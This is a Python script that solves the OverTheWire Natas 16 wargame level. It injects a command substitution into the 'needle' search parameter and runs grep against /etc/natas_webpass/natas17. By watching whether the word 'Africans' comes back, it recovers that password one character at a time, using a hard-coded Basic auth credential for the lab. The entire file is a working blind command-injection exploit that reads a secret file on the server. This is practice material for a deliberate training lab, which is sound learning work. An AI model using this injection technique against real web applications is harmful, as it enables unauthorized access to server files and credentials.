import requests


url = "http://natas16.natas.labs.overthewire.org/index.php"
headers = {"Authorization": "Basic bmF0YXMxNjpXYUlIRWFjajYzd25OSUJST0hlcWkzcDl0MG01bmhtaA=="}
charset = "QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm1234567890"
password = ""

for _ in range(0, 32):
    for c in charset:
        data = {"needle": "Africans$(grep ^"+password+c+" /etc/natas_webpass/natas17)", "submit": "Search"}
        res = requests.get(url, headers = headers, params = data)
        if "Africans" not in res.text:
            password = password + c
            break
    print(password)
print(password)
